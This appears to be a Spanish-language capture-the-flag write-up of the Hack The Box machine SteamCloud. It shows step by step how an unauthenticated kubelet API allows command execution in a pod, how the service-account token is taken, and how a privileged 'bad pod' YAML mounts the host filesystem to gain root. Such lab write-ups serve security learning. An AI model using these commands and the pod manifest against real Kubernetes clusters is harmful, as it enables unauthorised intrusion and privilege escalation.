SteamCloud HTB - WriteUp
En esta máquina se toca principalmente Kubernetes. Es la primera vez que me enfrento a una máquina así. Entrare en mas detalle en algunas cosas.
Escaneo de puertos.
Lo primero que haremos como siempre será escanear los puertos de la máquina.
# Nmap 7.91 scan initiated Thu Feb 16 18:11:24 2023 as: nmap -sC -sV -Pn -n -oN Extraction -p22,2379,2380,8443,10250 10.10.11.133
Nmap scan report for 10.10.11.133
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-02-16T17:10:44
|_Not valid after: 2024-02-16T17:10:44
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-02-16T17:10:44
|_Not valid after: 2024-02-16T17:10:44
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 0135d0cf-6fb3-4e58-9223-2062dc8eb263
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 7f133690-d057-4f4c-82ec-de1088ec4326
| X-Kubernetes-Pf-Prioritylevel-Uid: 7ee6cd43-a145-4cc4-860d-be7b5199df1a
| Date: Thu, 16 Feb 2023 17:11:37 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: f8781bc8-ab96-4877-a8c8-c86b68fe180f
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 7f133690-d057-4f4c-82ec-de1088ec4326
| X-Kubernetes-Pf-Prioritylevel-Uid: 7ee6cd43-a145-4cc4-860d-be7b5199df1a
| Date: Thu, 16 Feb 2023 17:11:36 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 79457a95-b45a-40cb-a62a-95cf0612eb32
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 7f133690-d057-4f4c-82ec-de1088ec4326
| X-Kubernetes-Pf-Prioritylevel-Uid: 7ee6cd43-a145-4cc4-860d-be7b5199df1a
| Date: Thu, 16 Feb 2023 17:11:37 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-02-15T17:10:42
|_Not valid after: 2026-02-15T17:10:42
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
'''
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1676567446
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-02-16T16:10:46
|_Not valid after: 2024-02-16T16:10:46
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
De este escaneo podemos sacar varias cosas en claro. Se están usando Kubernetes, para montar la infraestructura de kubernetes, permite crear un cluster de forma rapida y sencilla con fines de desarrollo y pruebas. Podemos ver 2 puertos interesantes:
- 8443 -> Es la API de kubernetes en minikube.
- 10250 -> Es la API de kubelet.
API de Kubernetes.
Si probamos a hacer algunas pruebas sobre la API nos damos cuenta que necesitamos autenticarnos. Para hacer pruebas podemos usar la herramienta kubectl. En esta prueba he intentado sacar información del cluster.
❯ kubectl --server https://10.10.11.133:8443 get pod
Please enter Username:
No disponemos de ningun usuario y contraseña, por eso pasamos a intentar enumerar la API de kubelet
API de Kubelet.
Para enumerar kubelet he hecho uso de la herramienta kubeletctl, esta herramienta permite hacer consultas sobre esta API.
❯ kubeletctl runningpods -s 10.10.11.133 | jq -c '.items[].metadata'
{"name":"kube-proxy-vwthx","namespace":"kube-system","uid":"7e3f74e9-9167-4ac5-9ce9-74acda917b09","creationTimestamp":null}
{"name":"coredns-78fcd69978-b48pw","namespace":"kube-system","uid":"3bf8bedb-3dcc-4c66-9b0a-991dd7ac6315","creationTimestamp":null}
{"name":"storage-provisioner","namespace":"kube-system","uid":"127943f4-59de-4227-ac5f-8112c6a524a2","creationTimestamp":null}
{"name":"etcd-steamcloud","namespace":"kube-system","uid":"967b9bee71f2e3cec06ff1dbde2a2a19","creationTimestamp":null}
{"name":"nginx","namespace":"default","uid":"e2f71ae5-6d48-4f43-ad2a-3d2a2851162a","creationTimestamp":null}
{"name":"kube-scheduler-steamcloud","namespace":"kube-system","uid":"3232b72c69e9f8bf518a7d727d878b27","creationTimestamp":null}
{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null}
{"name":"kube-apiserver-steamcloud","namespace":"kube-system","uid":"c1926d0465cd9de10197b95a2c359105","creationTimestamp":null}
Aquí podemos ver los POD en uso y los namespace del nodo. Si nos fijamos podemos ver que hay un nodo que utiliza un namespace diferente al resto “default”. Kubeletctl permite ejecutar comandos en pods. Si probamos a ejecutar comandos en el contenedor del POD “nginx” vemos que los comandos se ejecutan correctamente.
❯ kubeletctl exec "id" -s 10.10.11.133 -p 'nginx' -c nginx
uid=0(root) gid=0(root) groups=0(root)
La flag de usuario se encuentra dentro de /root.
❯ kubeletctl exec "cat /root/user.txt" -s 10.10.11.133 -p 'nginx' -c nginx
4bed108ccc1fc161f94a9818eb5527f9
Ahora que tenemos acceso a uno de los contenedores podriamos buscar:
- ca.crt -> Es el certificado para verificar la comunicación de kubernetes.
- namespacce -> Indica el espacio de nombres actual.
-
token -> Contiene el token de servicio del pod actual.
Si conseguimos ca.crt y token podríamos autenticarnos en el cluster de kubernetes (puerto 8443)
En este caso los archivos se encuentran en esta ruta:
-/run/secrets/kubernetes.io/serviceaccount
root@nginx:/run/secrets/kubernetes.io/serviceaccount# ls -la
ls -la
total 4
drwxrwxrwt 3 root root 140 Feb 16 19:38 .
drwxr-xr-x 3 root root 4096 Feb 16 17:12 ..
drwxr-xr-x 2 root root 100 Feb 16 19:38 ..2023_02_16_19_38_50.643472167
lrwxrwxrwx 1 root root 31 Feb 16 19:38 ..data -> ..2023_02_16_19_38_50.643472167
lrwxrwxrwx 1 root root 13 Feb 16 17:12 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Feb 16 17:12 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Feb 16 17:12 token -> ..data/token
root@nginx:/run/secrets/kubernetes.io/serviceaccount#
Pero también se podrian encontrar en:
- /var/run/secrets/kubernetes.io/serviceaccount
- /secrets/kubernetes.io/serviceaccout
Si nos bajamos los archivos podemos ahora si podremos autenticarnos en el cluster y pedir información a la API de kubernetes.
❯ kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$(cat token) get pod
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 163m
En este caso hemos hecho uso de la función get pod para sacar información del nodo en ejecución.
La tercera linea nos indica que podemos obtener, crear y listar pods. El siguiente paso sera examinar un el POD nginx para saber que imagen usa, posteriormente esta será usada en la creación de un BAD POD.
❯ kubectl get pod nginx -o yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$(cat token)
apiVersion: v1
kind: Pod
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"ngin
x","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}
creationTimestamp: "2023-02-16T17:12:01Z"
name: nginx
namespace: default
resourceVersion: "510"
uid: e2f71ae5-6d48-4f43-ad2a-3d2a2851162a
spec:
containers:
- image: nginx:1.14.2
imagePullPolicy: Never
Vemos que la imagen es nginx:1.14.2 lo suiguiente será construir un archivo YAML que contendrá el BAD POD.
apiVersion: v1
kind: Pod
metadata:
name: pod-bly
namespace: default
spec:
containers:
- name: pod-bly
image: nginx:1.14.2
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
Este BAD POD montará en /mnt todo el sistema de ficheros de la máquina host. Ahora tendremos que ejecutar el POD
❯ kubectl apply -f bly.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$(cat token)
pod/pod-bly created
kubectl apply permite desplegar un POD. Si listamos los PODS podemos ver el nuestro.
❯ kubeletctl runningpods -s 10.10.11.133 | jq -c '.items[].metadata'
{"name":"pod-bly","namespace":"default","uid":"9ba59450-48e7-46a4-b159-521d93bd2cec","creationTimestamp":null}
Ahora solo tendremos que ejecutar comandos como hemos hecho anteriormente para ganar acceso root al sistema.
❯ kubeletctl exec "bash" -s 10.10.11.133 -p pod-bly -c pod-bly
root@steamcloud:/#
Si nos vamos a /mnt veremos montado todo el sistema y tendremos acceso a este. Aqui acaba esta máquina. Espero que te haya servido.